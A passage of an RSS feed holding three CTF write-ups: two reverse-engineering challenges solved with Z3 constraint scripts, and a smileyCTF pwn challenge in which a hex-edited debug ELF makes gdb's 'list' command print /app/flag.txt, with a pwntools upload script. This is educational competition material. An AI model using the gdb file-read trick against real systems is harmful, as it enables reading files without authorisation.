reg_3 0x5f<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 5<br>load_char reg_1 7<br>add reg_0 reg_1<br>load_char reg_2 14<br>xor reg_0 reg_2<br>load reg_3 0xe1<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 8<br>load_char reg_1 14<br>xor reg_0 reg_1<br>load_char reg_2 15<br>xor reg_0 reg_2<br>load reg_3 0x3c<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 7<br>load_char reg_1 10<br>xor reg_0 reg_1<br>load_char reg_2 14<br>add reg_0 reg_2<br>load reg_3 0x3c<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 3<br>load_char reg_1 4<br>add reg_0 reg_1<br>load_char reg_2 8<br>add reg_0 reg_2<br>load reg_3 0x115<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 3<br>load_char reg_1 8<br>xor reg_0 reg_1<br>load_char reg_2 20<br>xor reg_0 reg_2<br>load reg_3 0x31<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 9<br>load_char reg_1 11<br>add reg_0 reg_1<br>load_char reg_2 20<br>add reg_0 reg_2<br>load reg_3 0x104<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 1<br>load_char reg_1 11<br>xor reg_0 reg_1<br>load_char reg_2 21<br>xor reg_0 reg_2<br>load reg_3 0x19<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 3<br>load_char reg_1 8<br>add reg_0 reg_1<br>load_char reg_2 21<br>add reg_0 reg_2<br>load reg_3 0xd6<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 3<br>load_char reg_1 8<br>add reg_0 reg_1<br>load_char reg_2 9<br>xor reg_0 reg_2<br>load reg_3 0x90<br>jne reg_0 reg.3 0xa28<br>load reg_1 0x696969<br>end<br>jmp 0xa28<br>jmp 0xa28<br>jmp 0xa28<br>jmp 0xa28<br>jmp 0xa28<br>jmp 0xa28<br>jmp 0xa28<br>jmp 0xa28<br>load reg_1 0x0</pre><p>This bytecode follows a pattern, from my experience doing reverse engineering challenges this looks to me as a classic constraints problem.</p><p>To solve it, we need to use a constraints solver like microsoft’s Z3</p><pre>from z3 import *<br><br>def extract_flag():<br>    solver = Solver()<br>    <br>    # Create 23 character variables (indices 0-22)<br>    chars = [BitVec(f&#39;c{i}&#39;, 8) for i in range(23)]<br>    <br>    # Printable ASCII constraints<br>    for c in chars:<br>        solver.add(c &gt;= 32, c &lt;= 126)<br>    <br>    # All the constraints from the assembly code<br>    constraints = [<br>        (chars[1] ^ chars[3]) + chars[21] == 0x79,<br>        (chars[2] + chars[11]) ^ chars[19] == 0x90,<br>        chars[13] + chars[14] + chars[17] == 0xdf,<br>        (chars[14] + chars[16]) ^ chars[18] == 0xf9,<br>        chars[4] + chars[14] + chars[17] == 0x11d,<br>        (chars[2] + chars[12]) ^ chars[13] == 0x97,<br>        (chars[4] ^ chars[6]) + chars[9] == 0x49,<br>        (chars[16] ^ chars[21]) + chars[22] == 0xe2,<br>        (chars[3] ^ chars[12]) ^ chars[19] == 0x5f,<br>        (chars[8] ^ chars[11]) ^ chars[19] == 0x70,<br>        (chars[2] ^ chars[3]) ^ chars[6] == 0x27,<br>        (chars[4] ^ chars[7]) + chars[8] == 0x77,<br>        (chars[2] + chars[15]) ^ chars[20] == 0x9b,<br>        chars[8] + chars[17] + chars[20] == 0x158,<br>        (chars[1] ^ chars[2]) ^ chars[8] == 0x75,<br>        (chars[9] + chars[12]) ^ chars[20] == 0x14,<br>        chars[4] + chars[15] + chars[21] == 0x11e,<br>        (chars[6] ^ chars[8]) + chars[17] == 0x8a,<br>        (chars[6] + chars[12]) ^ chars[20] == 0xe5,<br>        (chars[8] ^ chars[13]) ^ chars[15] == 0x3d,<br>        chars[11] + chars[17] + chars[21] == 0x108,<br>        chars[1] + chars[2] + chars[14] == 0x11a,<br>        (chars[3] + chars[4]) ^ chars[22] == 0xd3,<br>        chars[0] + chars[6] + chars[15] == 0x112,<br>        (chars[7] + chars[12]) ^ chars[22] == 0xde,<br>        (chars[1] + chars[4]) ^ chars[14] == 0xd2,<br>        (chars[3] ^ chars[16]) ^ chars[17] == 0x1a,<br>        (chars[14] ^ chars[15]) + chars[18] == 0xb9,<br>        (chars[10] ^ chars[17]) ^ chars[19] == 0x5b,<br>        (chars[3] ^ chars[5]) ^ chars[12] == 0x5f,<br>        chars[2] + chars[21] + chars[22] == 0x119,<br>        (chars[4] + chars[15]) ^ chars[17] == 0x9d,<br>        (chars[3] + chars[12]) ^ chars[16] == 0x39,<br>        (chars[7] ^ chars[15]) ^ chars[19] == 0x53,<br>        (chars[2] ^ chars[5]) ^ chars[9] == 0x1c,<br>        (chars[2] ^ chars[20]) + chars[22] == 0x78,<br>        (chars[3] + chars[6]) ^ chars[8] == 0xe7,<br>        (chars[6] ^ chars[11]) ^ chars[18] == 0x56,<br>        (chars[3] + chars[15]) ^ chars[17] == 0xda,<br>        (chars[0] ^ chars[11]) ^ chars[18] == 0x7,<br>        (chars[9] + chars[12]) ^ chars[17] == 0x10,<br>        chars[8] + chars[12] + chars[15] == 0x11c,<br>        chars[0] + chars[16] + chars[21] == 0xc7,<br>        (chars[1] ^ chars[5]) + chars[18] == 0x97,<br>        (chars[10] ^ chars[20]) + chars[21] == 0x33,<br>        (chars[11] + chars[12]) ^ chars[14] == 0xa7,<br>        (chars[2] ^ chars[9]) ^ chars[12] == 0x70,<br>        (chars[4] + chars[6]) ^ chars[10] == 0xa4,<br>        chars[5] + chars[11] + chars[15] == 0x137,<br>        chars[4] + chars[9] + chars[10] == 0x117,<br>        (chars[7] ^ chars[8]) + chars[10] == 0x77,<br>        chars[3] + chars[11] + chars[21] == 0xc5,<br>        (chars[11] ^ chars[15]) ^ chars[20] == 0x54,<br>        (chars[0] ^ chars[5]) ^ chars[8] == 0x1a,<br>        (chars[2] ^ chars[6]) + chars[22] == 0x8a,<br>        (chars[9] ^ chars[15]) ^ chars[20] == 0x38,<br>        chars[4] + chars[18] + chars[21] == 0x112,<br>        (chars[3] ^ chars[11]) + chars[14] == 0xa1,<br>        (chars[7] + chars[9]) ^ chars[16] == 0xf7,<br>        (chars[5] ^ chars[11]) ^ chars[16] == 0x5f,<br>        (chars[5] + chars[7]) ^ chars[14] == 0xe1,<br>        (chars[8] ^ chars[14]) ^ chars[15] == 0x3c,<br>        (chars[7] ^ chars[10]) + chars[14] == 0x3c,<br>        chars[3] + chars[4] + chars[8] == 0x115,<br>        (chars[3] ^ chars[8]) ^ chars[20] == 0x31,<br>        chars[9] + chars[11] + chars[20] == 0x104,<br>        (chars[1] ^ chars[11]) ^ chars[21] == 0x19,<br>        chars[3] + chars[8] + chars[21] == 0xd6,<br>        (chars[3] + chars[8]) ^ chars[9] == 0x90,<br>    ]<br>    <br>    # Add all constraints<br>    for constraint in constraints:<br>        solver.add(constraint)<br>    <br>    print(f&quot;Added {len(constraints)} constraints for {len(chars)} characters&quot;)<br>    print(&quot;Solving...&quot;)<br>    <br>    # Solve<br>    if solver.check() == sat:<br>        model = solver.model()<br>        flag = &quot;&quot;<br>        values = []<br>        <br>        for i in range(len(chars)):<br>            val = model[chars[i]].as_long()<br>            values.append(val)<br>            flag += chr(val)<br>        <br>        print(f&quot;\n🎉 FLAG FOUND: {flag}&quot;)<br><br>if __name__ == &quot;__main__&quot;:<br>    extract_flag()</pre><p>Running this script yields us the flag!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/361/1*NV0LqvJ-Jl1RcoN5x7Q8Fw.png" /></figure><p>Completing this challenge was a personal milestone of mine, because of how frustrated multiarch-1 had made me feel in the googlectf. So I definetly went into this challenge with a personal vendetta and completing it brought me so much happiness.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1f38074d7b77" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[the old way Writeup]]></title>
            <link>https://medium.com/@suleif/the-old-way-writeup-aee0700cbaa9?source=rss-f9474787f7da------2</link>
            <guid isPermaLink="false">https://medium.com/p/aee0700cbaa9</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <dc:creator><![CDATA[suleif]]></dc:creator>
            <pubDate>Sun, 22 Jun 2025 14:22:49 GMT</pubDate>
            <atom:updated>2025-06-22T14:22:49.950Z</atom:updated>
            <content:encoded><![CDATA[<p>This writeup is for the the_old_way challenge from the <strong>GPNCTF 23</strong></p><p>It is a <strong>reverse engineering</strong> challenge where the binary that’s provided was written entirely in assembly by hand. This challenge made me a lot more comfortable with reading and understanding assembly code.</p><p>Decompiling the binary using ghidra yields:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*Cob8VRkJ-SuCWfC-3bleMQ.png" /><figcaption>main function</figcaption></figure><p>So it was quickly apparent to me that this program can’t be decompiled back to C in a readable manner.</p><p>Into the assembly we go!</p><p>I recommend this <a href="https://www.youtube.com/watch?v=75gBFiFtAb8">video</a> and this <a href="https://www.cs.virginia.edu/~evans/cs216/guides/x86.html">resource</a> to learn the basics of assembly (all the keywords and syntax)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/833/1*lGXfT9P-5-bDkUf-OWp81w.png" /><figcaption>main function</figcaption></figure><p>In this article I will try my best to quickly explain everything from the ground up.</p><p>To understand all the syscalls that are made here, I recommend reading this <a href="https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/">article</a></p><p>In this case we’re only interested in the sys_read and sys_write syscalls as they’re the only ones being used.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/848/1*a0-Bt43f-AXh_1X9L41mkg.png" /><figcaption>The syscalls being used in the_old_way</figcaption></figure><p>So for the first syscall:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/353/1*Bx7S3zyQrCicO-kQuI7tOA.png" /><figcaption>equivalent to printf(“give me the secret flag”)</figcaption></figure><p>EAX = 0; EDI = 1; RSI= ”give me the secret flag”; EDX = 26;</p><p>We’re calling sys_write to print “give me the secret flag” to stdout (fd=1)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/449/1*55DFw5KGmubgwalF6Pbq9g.png" /><figcaption>equivalent to scanf</figcaption></figure><p>This syscall gets the user input for the “secret flag”, the string needs to be 45 characters long (EDX = 0x2d !)</p><p>Let’s name this input buffer “s”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*C0u2a4fUPZ1N1ZAhhkYP7Q.png" /></figure><p>Following this we call the “compute_secret” function with the “secret flag” we inputted as an argument. This function sets the RAX to either 0 or some other value, if RAX = 0 we get a message saying we got the flag, so this function is definetly where we will find how to get the flag.</p><p>Let’s analyze this function section by section.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/323/1*FV4C83IiCKuUqnHxfcQjdw.png" /><figcaption>Variable definition</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/749/1*Hi7cCwMsnqKD5T0yynUDfQ.png" /><figcaption>Variable Initialisation</figcaption></figure><p>First we initialize two variables “local_18” and “local_10” which we will rename very soon to a more appropriate name. These variables are integers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/719/1*tTf_VjF6bV6if6HpI2AJZw.png" /><figcaption>The outer loop</figcaption></figure><p>It is quickly apparent that this is a for loop, with a nested for loop inside it ( this is more obvious when we take a look at the next section)</p><p>So let’s rename local_10 → i and local_18 → j</p><p>The CMP instruction informs us that i goes from 0 to 40</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/1*a4u2m3DCxDk3xCKv-ktAHA.png" /><figcaption>The inner loop</figcaption></figure><p>The first thing this section does is calculate this term: term = (i+1)*(j+1)</p><p>and store it in the RAX register. (for any math haters: (i+1)*(j+1) = i*j+i+j+1)</p><p>Then it compares i and j and if they’re equal it will set RAX to 0 (x XOR x = 0)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/506/1*tuzwBrkWallQTBkZ0NXluw.png" /><figcaption>Where the magic happens</figcaption></figure><p>Lots of things going on in this section.</p><p>First I will give an somewhat deep analysis to demystify what’s happening with the memory manipulation in some of the instructions here</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/440/1*1KdYvf5lsr3E6jJFyeUVLA.png" /><figcaption>R11 = s[j]</figcaption></figure><p>The first five instructions are for getting s[j] (s is the input we provided)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/336/1*kz5qw2Cnc9-AGUyGifTKTw.png" /><figcaption>RAX = RAX * s[j]</figcaption></figure><p>Then we multiply RAX by s[j], so RAX = (i+1)*(j+1) * s[j]</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/453/1*AfHKE7bKUoP3j26VR1EQIw.png" /><figcaption>RAX = i * 8</figcaption></figure><p>The next 4 instructions are for making RAX = i * 0x8, so that later we can get the i th value of an array</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/471/1*m8iC4fXJvJ0qcuW4Zg1CtQ.png" /><figcaption>FLAG[i] = FLAG[i] - (i+1)*(j+1)*s[j]</figcaption></figure><p>Then we subtract FLAG[i] from R11 ( which contains the old RAX value aka (i+1)*(j+1)*s[j])</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/471/1*MwWbBG8kwT2mvmnddxPgyg.png" /></figure><p>The first instruction shows us that j also goes from 0 to 45 like i</p><p>Okay, now let’s take a step back and see what this loop does from a high level.</p><p>For every iteration of j, this loop calculates (i+1)*(j+1)*s[j] and substracts it from FLAG[i]</p><p>So in at the end of this loop,</p><p>FLAG[i] = FLAG[i] - (i+1)*(0+1)*s[0] - (i+1)*(1+1)*s[1] - ….. - (i+1)*(44+1)*s[44]</p><p>Nice, now let’s go look at what happens when the nested loop ends.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/471/1*E6uxgRdtL7qyIkifW8eIWg.png" /><figcaption>What happens when the inner loop ends</figcaption></figure><p>The program checks if FLAG[i] == 0, if it’s false it prints out that the inputted string is not the flag, if true it continues the outer loop (i += 1; j=0)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/476/1*U3VCDDRcMrMghNDuMgchZA.png" /><figcaption>When the outer loop ends</figcaption></figure><p>If all the FLAG[i]s are equal to zero the function sets RAX to 0 (XOR RAX, RAX) and it prints out that we got the flag.</p><p>Other wise it sets the RAX to a garbage value (0x1337) which causes the program to output that the inputted string was not the flag.</p><p>And that’s all the assembly we will be looking at today!</p><p>Here is what is important from what we analyzed:</p><ul><li>There is a FLAG buffer in the program we need to extract</li><li>We need an input s which satisfies all the constraints we have found which are:</li></ul><pre>FLAG[i] - (i+1)*(0+1)*s[0] - (i+1)*(1+1)*s[1] - ... - (i+1)*(44+1)*s[44] = 0</pre><p>This is where the <a href="https://microsoft.github.io/z3guide/">Z3 solver</a> comes in. We can easily solve these types of equations with it.</p><p>First let’s extract the FLAG data from the binary file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*dsd2BXhwMuRGtLKMQWB3MQ.png" /></figure><p>Ghidra doesn’t know what type of data this is. From our analysis we can confidently say that it’s an array of integers that has a length of 45</p><p>Select the first address and shift click the last address</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vIJ9PBunk4bq3qy1SOB6JQ.png" /><figcaption>Selecting all the bytes in FLAG</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/1*kKVjUkKRsiexZBwG5xJFgQ.png" /><figcaption>Convert it all to the correct type</figcaption></figure><p>Let’s make ghidra display all the values we need with decimal representation</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/1*tnQfn3h2p3Q7YNYnBWgHFw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/1*6uCDVgJlzkgTJf08jZartg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*eefmRraglj62tXBPkZYnyw.png" /></figure><p>Nice! Now let’s copy all the non-zero values to a list in python and make a solve script.</p><pre>from z3 import *<br><br><br><br>flag_data = [72571,144964,217224,289496,361110,433332,502467,574096,645273,716520,792891,858024,925756,995232,1070055,1137952,1209193,1292004,1349513,1414840,1473885,1560372,1617866,1714032,1744800,1852864,1876770,1983016,2014108,2089260,2160607,2225216,2339469,2408560,2418745,2515320,2597400,2604444,2697669,2705680]<br><br>solver = Solver()<br><br>s = [BitVec(f&#39;s_{i}&#39;,8) for i in range(40)]<br><br><br>def main():<br>    for i in range(40):<br>        # Calculate the expression that must equal FLAG[i]<br>        term = 0<br>        for j in range(40):<br>            if i == j:<br>                continue<br>            term += (j*i +j +i + 1) * ZeroExt(8,s[j])<br><br>        solver.add(term == flag_data[i])<br>    for byte in s:<br>        solver.add(byte &gt;= 0x20, byte &lt;= 0x7E)    <br>    if solver.check() == sat:<br>        model = solver.model()<br>        secret_bytes = []<br>        for i in range(40):<br>            byte_val = model[s[i]].as_long()<br>            secret_bytes.append(byte_val)<br>        # Convert to string (ignore non-printable for flag)<br>        secret_str = &#39;&#39;.join(chr(b) for b in secret_bytes)<br>        print(f&quot;Secret: {secret_str}&quot;)<br><br>if __name__ == &quot;__main__&quot;:<br>    main()</pre><p>This script should be pretty self-explanatory if you have followed what I explained when analyzing the assembly code.</p><p>The solver checks</p><pre>FLAG[i] == ((i+1)*(0+1)*s[0] +(i+1)*(1+1)*s[1] +... +(i+1)*(44+1))</pre><p>ZeroExt is needed on term calculation to avoid integer overflows.</p><pre>for byte in s:<br>        solver.add(byte &gt;= 0x20, byte &lt;= 0x7E)</pre><p>This part checks that the byte we get is an ASCII character.</p><p>And we get the flag!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/393/1*PfYAeYx8fndqG7wBQWeRRA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=aee0700cbaa9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[smileyCTF2025 Debugger1 Writeup]]></title>
            <link>https://medium.com/@suleif/smileyctf2025-debugger1-writeup-0233bc1cdcdb?source=rss-f9474787f7da------2</link>
            <guid isPermaLink="false">https://medium.com/p/0233bc1cdcdb</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[suleif]]></dc:creator>
            <pubDate>Mon, 16 Jun 2025 03:30:14 GMT</pubDate>
            <atom:updated>2025-06-16T14:12:20.264Z</atom:updated>
            <content:encoded><![CDATA[<p>This is a write up for the pwn/debugger1 challenge of smileyCTF 2025</p><p>First let’s examine the script provided to us:</p><pre>import subprocess<br>import tempfile<br>import os<br><br># Step 1: Create a dummy binary (can be any valid ELF binary)<br>dummy_code = b&quot;\x7fELF&quot; + b&quot;\x00&quot; * 100  # Minimal ELF header<br>tmp_bin = tempfile.NamedTemporaryFile(delete=False)<br>tmp_bin.write(dummy_code)<br>tmp_bin.close()<br><br># Step 2: Create a readable file that mimics the flag<br>flag_path = &quot;./flag.txt&quot;<br>with open(flag_path, &quot;w&quot;) as f:<br>    f.write(&quot;FAKE_FLAG{this_is_the_flag_content}&quot;)<br><br># Step 3: Use GDB to try and read the file contents<br>try:<br>    subprocess.run(<br>        [&quot;gdb&quot;, tmp_bin.name, &quot;-nx&quot;, &quot;-quiet&quot;,<br>         &quot;-ex&quot;, f&quot;list &#39;{flag_path}&#39;&quot;, &quot;-ex&quot;, &quot;quit&quot;],<br>        check=False<br>    )<br>finally:<br>    os.unlink(tmp_bin.name)  # Clean up dummy binary</pre><p>It runs gdb with an elf file that we provide and then executes the list command for ‘/app/flag.txt’ string and then quits gdb.</p><p>How can we exploit this?</p><p>A quick google search landed me in this article: <a href="https://ioactive.com/can-gdbs-list-source-code-be-used-for-evil-purposes/">https://ioactive.com/can-gdbs-list-source-code-be-used-for-evil-purposes/</a></p><p>In it the author delves on how changing the file name with a hex editor could lead to file read on gdb.</p><p>In this challenge, this does not work. But it does sets us on the right path.</p><p>First let’s create a dummy c file to compile:</p><pre>int main() {<br>    return 0; <br>}<br><br>int _app_flag_txt() {<br>    return 0;<br>}</pre><p>Make sure to name it flagaa.c to make it easy to rename later on.</p><p>Compilation:</p><pre>gcc -g -ggdb3 -o elf flagaa.c</pre><p>Then open up your favorite hexeditor to fix the function name (I use hexedit here)</p><pre>hexedit elf</pre><p>Finally look for any occurances of _app_flag_txt and change the bytes to make it /app/flag.txt</p><p>5f -&gt; 2f ( _ -&gt; /)</p><p>5f -&gt; 2e (_ -&gt; .)</p><p>For me there were 2 occurences of the function in my elf file.</p><p>And change flagaa.c to flag.txt</p><p>61 -&gt; 74 (a -&gt; t)</p><p>2e -&gt; 78 (. -&gt; x)</p><p>63 -&gt; 74 (c -&gt; t)</p><p>Test out that it works locally:</p><ol><li>First make a flag.txt file:</li></ol><pre>echo &quot;test flag&quot; &gt; /app/flag.txt</pre><p>2. Run gdb with the appropriate flags:</p><pre>gdb elf -ex &#39;list /app/flag.txt&#39; -ex quit</pre><p>You should see it outputing the test flag.</p><p>Here is my script for sending the elf remotely for the challenge:</p><pre>from pwn import *<br>from base64 import b64encode<br>r = remote(&quot;smiley.cat&quot;, 41081)<br><br>file = open(&quot;elf&quot;,&quot;rb&quot;)<br>content = file.read()<br>payload = b64encode(content)<br><br>r.send(payload)<br>r.interactive()</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0233bc1cdcdb" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>